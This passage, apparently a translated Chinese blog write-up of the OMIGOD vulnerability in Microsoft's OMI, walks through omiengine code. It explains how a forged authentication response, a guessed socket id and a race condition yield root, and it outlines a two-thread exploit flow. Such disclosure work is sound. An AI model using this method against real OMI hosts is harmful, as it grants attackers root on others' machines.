                            return PRT_RETURN_FALSE;
                        }
                    }

                    handler->clientAuthState = PRT_AUTH_WAIT_CONNECTION_RESPONSE;

                    if (_SendAuthRequest(handler, binMsg->user, binMsg->password, NULL, forwardSock, uid, gid) ) <--- (4)
                    {
                        ret = PRT_CONTINUE;
                    }
                }
                ....
}

让我们回顾一下逻辑,(1)首先omiengine将客户端的socket 保存在一个连接hash map 中,使用连接号作为key。(2)然后,将omiengine建立与一个新的连接omiserver(3)和在相同的跟踪器哈希映射保存它。(4)然后将认证请求发送到服务器进行验证。

现在让我们看看同一个函数如何处理服务器响应:

static Protocol_CallbackResult _ProcessReceivedMessage(
    ProtocolSocket* handler)
{
...
// forward to client

                    Sock s = binMsg->forwardSock; <--- (1.1)
                    Sock forwardSock = INVALID_SOCK;
                    ProtocolSocket *newHandler = _ProtocolSocketTrackerGetElement(s); <--- (1.2)
                    if (newHandler == NULL)
                    {
                        trace_TrackerHashMapError();
                        return PRT_RETURN_FALSE;
                    }

                    if (binMsg->result == MI_RESULT_OK || binMsg->result == MI_RESULT_ACCESS_DENIED)
                    {
                        if (binMsg->result == MI_RESULT_OK)
                        {
                            newHandler->clientAuthState = PRT_AUTH_OK; <--- (2)
                            newHandler->authInfo.uid = binMsg->uid;
                            newHandler->authInfo.gid = binMsg->gid;
                            trace_ClientCredentialsVerfied(newHandler);
                        }

                        ProtocolSocketAndBase *socketAndBase = _ProtocolSocketTrackerGetElement(handler->base.sock); <--- (3)
                        if (socketAndBase == NULL)
                        {
                            trace_TrackerHashMapError();
                            return PRT_RETURN_FALSE;
                        }

                        r = _ProtocolSocketTrackerRemoveElement(handler->base.sock);
                        if(MI_RESULT_OK != r)
                        {
                            trace_TrackerHashMapError();
                            return PRT_RETURN_FALSE;
                        }

                        r = _ProtocolSocketTrackerRemoveElement(s);
                        if(MI_RESULT_OK != r)
                        {
                            trace_TrackerHashMapError();
                            return PRT_RETURN_FALSE;
                        }

                        // close socket to server
                        trace_EngineClosingSocket(handler, handler->base.sock);
                        ....
                    }
}

在我们深入研究这个代码片段之前,需要强调一些事情。所述_ProcessReceivedMessage功能处理来自客户端和服务器以相同的方式进入的请求,而没有任何服务器验证(1.1)从响应中获取客户端的 socket id 和(1.2)从哈希映射中获取;如果在哈希映射中找不到套接字,则身份验证过程失败。(2)然后解析认证响应,并相应地设置认证信息。从现在开始,从这个客户端套接字发出的每个命令都使用binMsg->uidbinMsg->gid 执行,然后(3)从哈希映射中获取服务器套接字;如果它不存在,则身份验证过程失败。

现在让我们考虑以下场景:malserver是一个冒充服务器的恶意客户端,它在omiserver返回其响应之前返回身份验证响应。恶意服务器以 root 身份成功验证用户存在一些挑战。首先,它需要知道用户的套接字 id (1.2),但根据我们的经验,它通常 <10 并且很容易被猜到。如果猜测成功,客户端的authInfo->uidauthInfo->gid都可以设置为 0。 接下来,我们需要绕过(3)检查,其中omiengine检查我们的恶意服务器socket 位于其跟踪器哈希映射中,而事实并非如此。我们可以通过从恶意服务器omiengine发出身份验证请求来绕过它,该请求会将其套接字 ID 添加到哈希映射中,并立即为uid =0、gid =0的omicli套接字 ID发送身份验证成功响应。

exp

由于不同的漏洞(此代码路径中发生的释放后使用错误)不断使omiengine崩溃(我们也已向 Microsoft 报告),因此该利用非常复杂且具有统计性,因此不使用omicli,我们创建了一个 Python 脚本,该脚本直接通过omiengine UNIX 套接字发送消息。

exp流程很简单:

主线:

  1. 使用虚假凭据发送身份验证请求
  2. 开始另一个线程
  3. 发送id >> /tmp/win命令

第二个线程:

  1. 发送身份验证请求
  2. 对于主线程发起的认证请求,发送uid =0,gid =0的认证成功响应

经过一定次数的迭代后,竞争条件将被成功利用,我们的代码将以 root 身份执行。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 13:在赢得竞争条件后,Payload 以 root 身份执行

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注